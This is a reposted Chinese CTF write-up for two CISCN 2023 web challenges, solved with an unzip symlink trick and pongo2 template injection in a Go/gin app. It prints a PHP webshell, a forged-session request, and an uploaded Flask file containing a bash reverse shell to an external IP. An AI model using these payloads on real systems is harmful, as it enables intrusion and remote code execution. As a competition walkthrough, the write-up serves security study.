CISCN 2023 初赛

Web

unzip

文件上传页面

在这里插入图片描述

upload.php页面源码显示了出来

<?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};//only this!

可以看到,upload.php判断我们上传的文件必须是zip文件,然后会对其进行解压

此题我们可以通过软链接的方式做题

但不能文件链接文件,因为它是在tmp目录下解压文件的。我们需要对目录进行软链接

首先

ln -s /var/www/html shell
此时当前目录下就会生成一个shell目录,指向/var/www/html目录
下面我们进行打压缩包
zip -y 321.zip shell
然后上传上去,上传上去之后,就会立马解压缩了,那么现在shell目录已经链接到/var/www/html,当shell目录里出现了文件的变动,都会相对应在/var/www/html发生操作接下来,我们创建一个shell文件夹,里面写一个shell.php
└─# mkdir shell
└─# cd shell
└─# cat shell.php
<?php system($_GET[0]);phpinfo();?>然后对shell.php进行正常压缩,注意压缩包的文件名为shell.zip,要与上面链接的目录名一样
└─# zip shell.zip shell/*
最后上传,访问shell页面

在这里插入图片描述

在这里插入图片描述

go_session

题目提供了附件

go_session_4c91af79780fc70a4d21b272ba3a371c.zip

下面我们分析源代码

main.go

给了两个路由admin和flask

package mainimport ("github.com/gin-gonic/gin""main/route"
)func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/admin", route.Admin)r.GET("/flask", route.Flask)r.Run("0.0.0.0:80")
}

route.go

package routeimport ("github.com/flosch/pongo2/v6""github.com/gin-gonic/gin""github.com/gorilla/sessions""html""io""net/http""os"
)
//从环境变量中获取session_key,然后赋值给store
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {//获取请求中的session-namesession, err := store.Get(c.Request, "session-name")//如果没有获取到session-name,err不为nil,就会返回一个错误的http状态码if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//如果session里面的name值为nil,进入下面的代码块if session.Values["name"] == nil {//设置name为guestsession.Values["name"] = "guest"//将name为guest的session保存到我们的请求头err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, guest")
}func Admin(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name,不等于admin就返回N0if session.Values["name"] != "admin" {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}//获取一个为name的查询参数,参数值不存在就使用ssti,这里主要是获取用户输入的数据name := c.DefaultQuery("name", "ssti")//对用户输入的内容进行html转义,防止xssxssWaf := html.EscapeString(name)//使用pongo2模板引擎创建一个包含用户输入内容的字符串模板tpl, err := pongo2.FromString("Hello " + xssWaf + "!")if err != nil {panic(err)}//执行上面定义好的模板,将模板中的变量c替换为用户输入的内容out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//返回一个包含用户输入内容的html字符串c.String(200, out)
}func Flask(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name是否为nilif session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guestresp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}//确保上面的函数执行完了,再关闭http请求defer resp.Body.Close()//读取http响应的内容,存储再boby变量中body, _ := io.ReadAll(resp.Body)//向用户返回一个包含本地服务响应内容的字符串c.String(200, string(body))
}

这题的话,好像是远程的环境变量里session_key根本就没有,为空的,所以我们只需要在本地运行这个环境,将guest改成admin,我们就可以得到admin的session了

session.Values["name"] = "admin"

得到session以后,访问admin

在这里插入图片描述

接下来传入参数name,这里存在pongo2模板注入漏洞

网上有关它的模板注入漏洞很少,直接翻官方文档

https://pkg.go.dev/github.com/flosch/pongo2

从中我发现了pongo2和Django的语法很类似

{{ pongo2.version }}

在这里插入图片描述

通过询问ai,得到如下结果

package mainimport ("fmt""github.com/flosch/pongo2""io/ioutil"
)func main() {// 读取/etc/passwd文件内容content, err := ioutil.ReadFile("/etc/passwd")if err != nil {panic(err)}// 创建一个Pongo2模板tpl := pongo2.Must(pongo2.FromString("{% include 'passwd' %}"))// 注册一个名为'passwd'的模板pongo2.RegisterTemplate("passwd", string(content))// 执行模板并获取输出out, err := tpl.Execute(nil)if err != nil {panic(err)}fmt.Println(out)
}

其中关键的代码就是

{% include 'passwd' %}
改成{% include '/etc/passwd' %}

我们在本地测试一下,先把html.EscapeString转义注释掉

在这里插入图片描述

成功可以文件包含了,但是还有去绕过html.EscapeString,这种html的转义基本上是无法绕过,只能通过别的方式传参进来

我们翻一翻go gin官方文档

https://pkg.go.dev/github.com/gin-gonic/gin@v1.9.0

为什么跑去翻这个了,注意看代码

下面是示例,是我本地的,有些地方可能被修改了,不用在意

在这里插入图片描述

官方文档如下:

在这里插入图片描述

但是这几个函数似乎都不行,都是必须要带有参数,直接问ai吧,go语言学的不深,男泵

在这里插入图片描述

给了我一丢丢启发,可以使用c.Request.UserAgent()

在这里插入图片描述

可以了,直接拿到远程来操作

在这里插入图片描述

成功读取,然后读取环境变量,得到flag
在这里插入图片描述

这里是非预期了,其实本地还有一个python环境,读取/app/server.py

在这里插入图片描述

这个python flask框架没啥洞,但是它debug是开着的,热部署,那我们就可以直接篡改server.py

接下来我们只要通过pongo2的模板注入,去篡改其文件内容就行了

第一步,写一个上传表单

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传表单</title>
</head>
<body><h1>文件上传表单</h1><form action="https://e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show/admin" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" id="file" name="file"><br><br><button type="submit">上传文件</button></form>
</body>
</html>

第二步,上传抓包该格式

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show
User-Agent: file
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208503974923088219412672941459
Content-Length: 509
Origin: http://192.168.123.129
Referer: /app/server.py
Cookie: session-name=MTcxNTE1NDI4OHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwbjRagxTzeo4IEdTsWK0nJVqLDhQuJrWVe8t0OrOXgcA==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close-----------------------------208503974923088219412672941459
Content-Disposition: form-data; name="file"; filename="123.py"
Content-Type: text/plainfrom flask import Flask, request
import subprocess
app = Flask(__name__)@app.route('/')
def index():return subprocess.call("bash -c 'bash -i >& /dev/tcp/60.204.170.160/8989 0>&1'", shell=True)if __name__ == "__main__":app.run(host="127.0.0.1", port=5000, debug=True)
-----------------------------208503974923088219412672941459--

注意几个点

在这里插入图片描述

然后我们再去查看server.py内容

在这里插入图片描述

完美篡改,我们去访问flask路由

func Flask(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name是否为nilif session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guestresp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}//确保上面的函数执行完了,再关闭http请求defer resp.Body.Close()//读取http响应的内容,存储再boby变量中body, _ := io.ReadAll(resp.Body)//向用户返回一个包含本地服务响应内容的字符串c.String(200, string(body))
}

注意:为什么name要传/,这是因为如果默认为guest,最后的拼接结果就是 http://127.0.0.1:5000/guest python没有guest这个路由,肯定就报错了

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/8743.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IP协议,网络层

一、IP协议报文 在网络层最主要的协议是IP协议&#xff0c;网络层的主要任务是进行&#xff1a;1.地址管理 2.路由选择 地址管理&#xff1a;使用一套地址体系&#xff0c;描述互联网中每个设备所处的位置。 IP地址有两个版本&#xff0c;1.IPV4 2.IPV6 &#xff0c;IP…

信奥数据“信息差”,让你惊掉下巴!

✅ 信奥红利分析 暑假信奥赛即将到来&#xff0c;在全国各地赛事也越来越受到重视&#xff0c;但是似乎关于红利这一块各地如何&#xff0c;并没有太多的老师给各位家长分析清楚。 那么今天曹老师就主要给从各位新手家长分析一下信奥红利地区&#xff0c;在开始分析之前请大家看…

使用 MediaMTX 和 FFmpeg 推拉 RTSP 流媒体

实时流传输协议 RTSP&#xff08;Real-Time Streaming Protocol&#xff09;是 TCP/IP 协议体系中的一个应用层协议&#xff0c;由哥伦比亚大学、网景和 RealNetworks 公司提交的 IETF RFC 标准。该协议定义了一对多应用程序如何有效地通过 IP 网络传送多媒体数据。RTSP 在体系…

初始化创建一个webpack项目

新建一个空的工程 -> % mkdir webpack-project 为了方便追踪执行每一个命令&#xff0c;最终产生了哪些变更&#xff0c;将这个空工程初始化成git项目 -> % cd webpack-project/-> % git init Initialized empty Git repository in /Users/lixiang/frontworkspace/…

初探MFC程序混合使用QT

一、背景 随着操作系统国产化替代的趋势越发明显&#xff0c;软件支持国际化、跨平台&#xff0c;已然是必须做的一件事情。原有的软件UI层用的是MFC&#xff0c;将其换成QT&#xff0c;想必是一种较好的方案。对于大型软件&#xff0c;特别是已发布&#xff0c;但还处于不断迭…

C++进阶之路:探索访问限定符、封装与this指针的奥秘(类与对象_上篇)

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

数据统计:词频统计、词表生成、排序及计数、词云图生成

文章目录 &#x1f4da;输入及输出&#x1f4da;代码实现 &#x1f4da;输入及输出 输入&#xff1a;读取一个input.txt&#xff0c;其中包含单词及其对应的TED打卡号。 输出 output.txt&#xff1a;包含按频率降序排列的每个单词及其计数&#xff08;这里直接用于后续的词云…

设计模式之单例模式详解

单例模式 描述&#xff1a;单例&#xff08;Singleton&#xff09;模式的定义&#xff1a;指一个类只有一个实例&#xff0c;且该类能自行创建这个实例的一种模式。 核心特点 单例类只有一个实例对象&#xff1b;该单例对象必须由单例类自行创建&#xff1b;单例类对外提供一…

OpenCV 入门(一) —— OpenCV 基础

OpenCV 入门系列&#xff1a; OpenCV 入门&#xff08;一&#xff09;—— OpenCV 基础 OpenCV 入门&#xff08;二&#xff09;—— 车牌定位 OpenCV 入门&#xff08;三&#xff09;—— 车牌筛选 OpenCV 入门&#xff08;四&#xff09;—— 车牌号识别 OpenCV 入门&#xf…

每日两题 / 23. 合并 K 个升序链表 94. 二叉树的中序遍历(LeetCode热题100)

23. 合并 K 个升序链表 - 力扣&#xff08;LeetCode&#xff09; 若lists有k个元素&#xff0c;调用k - 1次&#xff08;两个有序链表的合并&#xff09;即可 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNod…

探索鸿蒙开发:鸿蒙系统如何引领嵌入式技术革新

嵌入式技术已经成为现代社会不可或缺的一部分。而在这个领域&#xff0c;华为凭借其自主研发的鸿蒙操作系统&#xff0c;正悄然引领着一场技术革新的浪潮。本文将探讨鸿蒙开发的特点、优势以及其对嵌入式技术发展的深远影响。 鸿蒙操作系统的特点 鸿蒙&#xff0c;作为华为推…

一键接入电商API数据接口淘宝API通过商品ID、URL采集商品详情页实时数据API接入指南

一键接入电商API数据接口&#xff0c;尤其是淘宝API&#xff0c;通常需要遵循以下步骤&#xff1a; 注册账号&#xff1a;注册接入账号获取Api Key和Api Secret。 选择API&#xff1a;根据需要选择合适的API服务&#xff0c;如通过商品ID或URL采集商品详情页数据的API。 权限…

WPF鼠标拖拽的最佳实现

WPF鼠标拖拽的最佳实现 在很多项目中都会遇到鼠标拖拽控件移动的需求&#xff0c;常见的有从在列表中拖拽列表项移动&#xff0c;拖拽控件移动等。 本文将介绍2种拖拽的简单的实现 列表项的拖拽 本文将使用 gong-wpf-dragdrop 这个github上的库来实现列表的拖拽的效果&…

GitLab使用记录

GitLab 文章目录 1. 常用命令1.1 配置邮箱 用户名1.2 查看配置1.3 基本语法 2. 连接gitlab3. 直接拉去项目 1. 常用命令 1.1 配置邮箱 用户名 git config --global user.name ShangzheChen git config --global user.email 735511377qq.com1.2 查看配置 cat ~/.gitconfig这…

企业信使_登陆页

在当今数字化时代&#xff0c;企业与员工之间的沟通变得越来越重要。为了满足企业内部沟通的需求&#xff0c;一款功能强大而方便使用的企业信使_登陆页应运而生。企业信使_登陆页是一种专为企业内部使用而设计的通讯工具&#xff0c;可以帮助企业提高沟通效率&#xff0c;加强…

4.用python爬取保存在text中的格式为m3u8的视频

文章目录 一、爬取过程详解1.寻找视频的m3u8链接2.从网页源码中寻找视频的m3u8链接的第二部分内容3.从视频的m3u8链接获取视频 二、完整的代码 一、爬取过程详解 1.寻找视频的m3u8链接 这个文档承接了爬虫专栏的 第一节.python爬虫爬取视频网站的视频可下载的源url&#xff0…

车规级低功耗汽车用晶振SG-9101CGA

车规级晶振SG-9101CGA属于爱普生9101系列&#xff0c;是一款可编程晶振。SG-9101CGA车规级晶振采用2.5x2.0mm封装&#xff0c;利用PLL技术生产&#xff0c;此款振荡器的频率范围从0.67M~170MHZ任一频点可选&#xff0c;步进1ppm&#xff0c;采用标准CMOS输出&#xff0c;最大输…

为 Flutter 应用设置主题:ThemeData 和 ColorScheme 指南

在媒体和其他来源中有许多关于这个主题的文章&#xff0c;那么这篇文章的必要性是什么&#xff1f; 在本文中&#xff0c;我计划仅关注 ThemeData 小部件的关键点以及我的开发经验中最常用的参数&#xff0c;并且您将获得有关每个参数如何对您的应用程序执行操作的简要说明。 …

分类任务的基础学习

1.什么是分类&#xff1f; 2.局限性&#xff1a; 当样本量逐渐变大的时候&#xff0c;准确率会下降——>因为线性回归曲线距离我们的原点越远&#xff0c;预测就会开始不准确&#xff0c;因为 x前面的倍数就会越来越小&#xff0c;这就导致了样本量变大&#xff0c;但是那些…

Kafka 业务日志采集最佳实践

简介 Apache Kafka 是一个分布式流处理平台&#xff0c;主要用于构建实时数据流管道和应用程序。在收集业务日志的场景中&#xff0c;Kafka 可以作为一个消息中间件&#xff0c;用于接收、存储和转发大量的日志数据。将 Kafka 与其他系统&#xff08;如 Elasticsearch、Flume、…